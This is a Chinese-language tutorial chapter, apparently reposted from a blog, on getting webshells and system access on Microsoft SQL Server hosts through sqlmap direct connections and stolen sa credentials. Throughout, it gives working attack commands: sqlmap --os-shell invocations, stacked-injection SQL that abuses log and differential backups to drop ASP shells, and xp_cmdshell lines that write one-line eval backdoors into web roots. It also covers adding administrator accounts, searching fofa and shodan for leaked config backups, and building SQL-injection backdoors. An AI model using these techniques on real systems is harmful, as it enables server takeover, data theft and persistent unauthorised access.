sqlmap从入门到精通-第四章-4-4 使用sqlmap直连MSSQL获取webshell或权限

4.4 使用sqlmap直连MSSQL获取webshell或权限

在某些情况下可能不存在SQL注入漏洞,但是通过发现目标源代码泄露,备份泄露,文件包含等方法获取了数据库服务器的IP地址,数据库账户和密码,而且含有对外可以访问的端口,或者可以通过代理的方式能够访问到端口,简单点理解就是可以通过公网直连MSSQL数据库,那么这个时候就可以根据具体情况获取webshell或系统权限

4.4.1 MSSQL数据获取webshell相关命令

1. 数据库恢复xp_cmdshell存储过程、

(1) 判断xp_cmdshell是否存在

(2) MSSQL 2000版本:

(3) MSSQL 2005及以上版本:

2. 手工注入写入shell

3. 反弹写入webshell

这里的必要条件是必须知道网站的真实路径,可以通过访问网站文件出错来获取真实路径

4. SQLTOOLS工具通过账户直接连接

(1) 恢复存储过程

(2) 通过文件管理查看文件及目录

(3) 获取网站的真实路径

(4) 写入shell

5. 知道sa账户和密码,直连后写入webshell或获取系统权限

sqlmap.py -d mssql://sa:[email protected]:1433/master --os-shell

6. 执行提权命令

这里就是通过存储过程执行添加用户和密码 ,然后将添加的用户加入到管理员组

7. 日志备份获取webshell

(1) log日志备份获取webshell

';alter database dbname set RECOVERY FULL--

';create table cmd (a image)--

';backup log dbname to disk = 'C:\dbbackup' with init--

';insert into cmd (a) values (0x273C25657863.....)--

';backup log dbname to disk = 'D:\wwwroot\bmfx.asp'--

';drop table cmd--

dbname修改为实际环境中的真实数据库名称,根据实际情况更改设置路径'D:\wwwroot\'

(2) 差异备份

';drop table cmd--

';create table cmd (a image)--

';insert into cmd (a) values (0x273C25657863.....)--

';execute sp_makewebtask @outputfile='D:\www\bmfx.asp', '@query='select a from cmd'--

';insert into cmd (a) values (0x273C25657863.....)--  这里括号里面是十六进制,可以通过Notepad++工具进行转换

8. 手工注入获取webshell

(1) 注入点判断

' and 1=user;--

(2) 创建临时表

';CREATE TABLE TTBMFX_TMP (tmp1 varchar(8000));--

(3) 查询文件

(4) 查看文件名称并获取真实的路径

(5) 文件写入测试

';exec master..xp_cmdshell 'echo test > D:\\www\\bmfx.txt';--

(6) 写入shell

';exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval (Request.Item["bmfx"], "unsafe");%^ >> D:\\www\\bmfx.aspx';--

4.4.2 MSSQL数据库获取webshell思路和方法

在实际的环境中需要根据实际情况判断,所有都是以结果为导向,通过获取数据库获取所在的服务器系统权限或者是webshell权限

1. 通过SQL查询分析器及SQL数据库客户端进行连接获取webshell及系统权限

(1) 连接数据库成功测试

(2) 恢复xp_cmdshell存储过程

(3) 执行命令

* 遍历C盘目录或者子目录及目录树结构

exec master.dbo.xp_dirtree 'C:\'

* 获取当前所有驱动器

exec master.dbo.xp_availablemedia;

* 获取子目录列表

exec master.dbo.xp_subdirs 'C:\';

* 查看文件的内容

exec master.dbo.xp_cmdshell 'type C:\wwwroot\web\web.config';

(4) 找到网站目录,通过执行命令查看网页相对应的名称和类型,获取网站的真实路径

(5) 压缩源代码及数据库

(6) 写入一句话后门

(7) webshell提权

2. 通过SQLTOOLS工具进行文件查看获取webshell

(1) 恢复存储过程

(2) 执行命令或查看磁盘文件目录及内容

(3) 后续步骤跟上面类似

3. 使用sqlmap直连MSSQL获取webshell或权限

(1) 连接测试

sqlmap.py -d mssql://sa:sa@ip:1433/master

(2) 获取os-shell

sqlmap.py -d mssql://sa:sa@ip:1433/master --os-shell

(3) 在获取的shell中执行命令

4. 查看CMS相关数据库,通过登录CMS来获取webshell

(1) 通过SQL查询分析器,SQLTOOLS,sqlmap获取CMS对应数据库

(2) 查看并获取后台管理员表数据

(3) 如果是加密数据,就进行解密

(4) 寻找CMS后台地址

(5) 登录CMS后台

(6) 寻找上传位置,尝试获取webshell

(7) 也可以通过log,差异备份的方法来获取webshell

4.4.3 sqlmap直连数据库获取webshell

1. 直连数据库测试

sqlmap.py -d mssql://sa:[email protected]:1433/master

2. 获取os-shell

sqlmap.py -d mssql://sa:[email protected]:1433/master --os-shell

3. 如果未获取系统权限

(1) 查看磁盘文件

dir C:\

(2) 获取网站所在目录为C:\www\phpstudypro\,写入一句话后门到此目录下面

echo ^<?php @eval ($_POST['bmfx']);?^>^ >C:\www\phpstudypro\bmfx.php

(3) 查看写入内容 type C:\www\phpstudypro\bmfx.php

(4) 获取webshell

4. 执行其他命令

sqlmap.py -d mssql://sa:[email protected]:1433/master --dbs

4.4.4 利用漏洞搜索引擎搜索目标

1. 搜索网站备份文件

(1) 利用fofa网站搜索web.config.bak

(2) 利用shodan网站搜索web.config.bak

2. 搜索其他关键字

www.rar, wwwroot.rar, wwwroot.zip, www.zip

4.4.5 构造SQL注入后门

1. 构造SQL注入后门前提条件

通过前面的方法获取了目标站点的webshell,然后通过webshell在网站创建文件

2. ASP+IIS+MSSQL站点构造SQL注入后门

(1) 不使用数据库连接文件

(2) 使用系统自带的连接文件


 

猜你喜欢

转载自www.cnblogs.com/autopwn/p/13210639.html
今日推荐